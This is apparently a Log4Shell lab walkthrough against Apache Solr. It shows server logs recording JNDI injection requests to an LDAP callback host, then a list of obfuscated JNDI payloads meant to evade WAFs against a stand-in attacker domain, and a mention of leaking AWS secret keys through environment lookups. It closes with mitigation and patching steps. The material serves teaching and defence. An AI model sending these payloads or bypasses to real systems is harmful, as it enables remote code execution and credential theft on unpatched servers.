2022-04-07 00:45:14.065 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.node' (registry 'solr.node') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2022-04-07 00:45:14.068 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jvm' (registry 'solr.jvm') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2022-04-07 00:45:14.070 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jetty' (registry 'solr.jetty') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2022-04-07 00:45:14.223 INFO  (main) [   ] o.a.s.c.CorePropertiesLocator Found 0 core definitions underneath /var/solr/data
2022-04-07 00:45:14.375 INFO  (main) [   ] o.e.j.s.h.ContextHandler Started o.e.j.w.WebAppContext@5e2c3d18{/solr,file:///opt/solr-8.11.0/server/solr-webapp/webapp/,AVAILABLE}{/opt/solr-8.11.0/server/solr-webapp/webapp}
2022-04-07 00:45:14.432 INFO  (main) [   ] o.e.j.s.AbstractConnector Started ServerConnector@2fb3536e{HTTP/1.1, (http/1.1, h2c)}{0.0.0.0:8983}
2022-04-07 00:45:14.432 INFO  (main) [   ] o.e.j.s.Server Started @68289ms
2022-04-07 00:52:20.033 INFO  (qtp1083962448-46) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1649292740265} status=0 QTime=80
2022-04-07 00:52:20.073 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=119
2022-04-07 00:52:20.074 INFO  (qtp1083962448-40) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=120
2022-04-07 00:57:09.916 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1649293030245} status=0 QTime=0
2022-04-07 00:57:09.926 INFO  (qtp1083962448-43) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649293030245} status=0 QTime=5
2022-04-07 00:57:09.929 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649293030245} status=0 QTime=11
2022-04-07 01:00:32.566 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1649292740265} status=0 QTime=0
2022-04-07 01:00:32.572 INFO  (qtp1083962448-46) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={wt=json&_=1649292740265} status=0 QTime=0
2022-04-07 01:00:32.576 INFO  (qtp1083962448-41) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=3
2022-04-07 01:00:37.463 INFO  (qtp1083962448-43) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1649292740265} status=0 QTime=0
2022-04-07 01:00:37.470 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/logging params={wt=json&_=1649293237927&since=0} status=0 QTime=1
2022-04-07 01:00:37.468 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=3
2022-04-07 01:00:47.458 INFO  (qtp1083962448-42) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/logging params={wt=json&_=1649293237927&since=0} status=0 QTime=0
2022-04-07 01:00:48.700 INFO  (qtp1083962448-45) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1649292740265} status=0 QTime=0
2022-04-07 01:00:48.716 INFO  (qtp1083962448-45) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=15
2022-04-07 01:00:48.718 INFO  (qtp1083962448-47) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=13
2022-04-07 01:00:48.792 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/cluster/security/authorization params={wt=json&_=1649293249129} status=0 QTime=3
2022-04-07 01:00:51.023 INFO  (qtp1083962448-42) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/properties params={wt=json&_=1649293251482} status=0 QTime=0
2022-04-07 01:00:51.024 INFO  (qtp1083962448-37) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1649292740265} status=0 QTime=0
2022-04-07 01:00:51.032 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=10
2022-04-07 01:01:01.066 INFO  (qtp1083962448-46) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1649292740265} status=0 QTime=0
2022-04-07 01:01:01.071 INFO  (qtp1083962448-41) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=2
2022-04-07 01:01:01.119 INFO  (qtp1083962448-45) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/threads params={wt=json&_=1649293261533} status=0 QTime=47
2022-04-07 01:01:13.040 INFO  (qtp1083962448-43) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={indexInfo=false&wt=json&_=1649292740265} status=0 QTime=0
2022-04-07 01:01:13.052 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=6
2022-04-07 01:01:13.056 INFO  (qtp1083962448-43) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/info/system params={wt=json&_=1649292740267} status=0 QTime=15
2022-04-07 01:05:45.405 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2022-04-07 01:07:06.466 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2022-04-07 01:17:12.021 INFO  (qtp1083962448-36) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.20.17:9001}} status=0 QTime=5
2022-04-07 01:42:10.099 INFO  (qtp1083962448-37) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=Reference Class Name: foo
} status=0 QTime=0
2022-04-07 01:46:45.134 INFO  (qtp1083962448-38) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.20.17:1389/Exploit}} status=0 QTime=1
2022-04-07 01:47:22.821 INFO  (qtp1083962448-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={foo=${jndi:ldap://10.10.20.17:1389/Exploit}} status=0 QTime=0

Bypasses

The JNDI payload that we have showcased is the standard and "typical" syntax for performing this attack.

If you are a penetration tester or a red teamer, this syntax might be caught by web application firewalls (WAFs) or easily detected. If you are a blue teamer or incident responder, you should be actively hunting for and detecting that syntax.

Because this attack leverages log4j, the payload can ultimately access all of the same expansion, substitution, and templating tricks that the package makes available. This means that a threat actor could use any sort of tricks to hide, mask, or obfuscate the payload.

With that in mind, there are honestly an unlimited number of bypasses to sneak in this syntax. While we will not be diving into the details in this exercise, you are encouraged to play with them in this environment. Read them carefully to understand what tricks are being used to masquerade the original syntax.

There are numerous resources online that showcase some examples of these bypasses, with a few offered below:

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}

Note the use of the rmi:// protocol in the last one. This is also another valid technique that can be used with the marshalsec utility -- feel free to experiment!

Additionally, within the log4j engine, you can expand arbitrary environment variables (if this wasn't already bad enough). Consider the damage that could be done even with remote code execution, but a simple LDAP connection and exfiltration of ${env:AWS_SECRET_ACCESS_KEY}

For other techniques, you are strongly encouraged t do your own research. There is a significant amount of information being shared in this Reddit thread: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/

Mitigation

Now that you have acted as the adversary for a little bit, please take off your hacker hat and let's mitigate the vulnerability on this vulnerable machine! Review the mitigation techniques suggested on the Apache Solr website. https://solr.apache.org/security.html

One option is to manually modify the /etc/default/solr.in.sh **** file with a specific syntax.

The Apache Solr website Security page explains that you can add this specific syntax to the solr.in.sh file: SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

Now that the configuration file has been modified, the service still needs to be restarted for the changed to take effect.

This process may vary between installations, but for this server, you can restart the service with this syntax: sudo /etc/init.d/solr restart

Patching

Looking at the Apache site: https://logging.apache.org/log4j/2.x/security.html It looks like the vulnerability is patched in log4j version 2.17.1

Lessons Learned

  1. Web applications that are exposed externally should have a WAF in front of them to block syntax that an attacker might use to exploit a system

  2. Make sure to monitor your logs for suspecious activity as the log entry for this exploit is very different than the other log entries

Last updated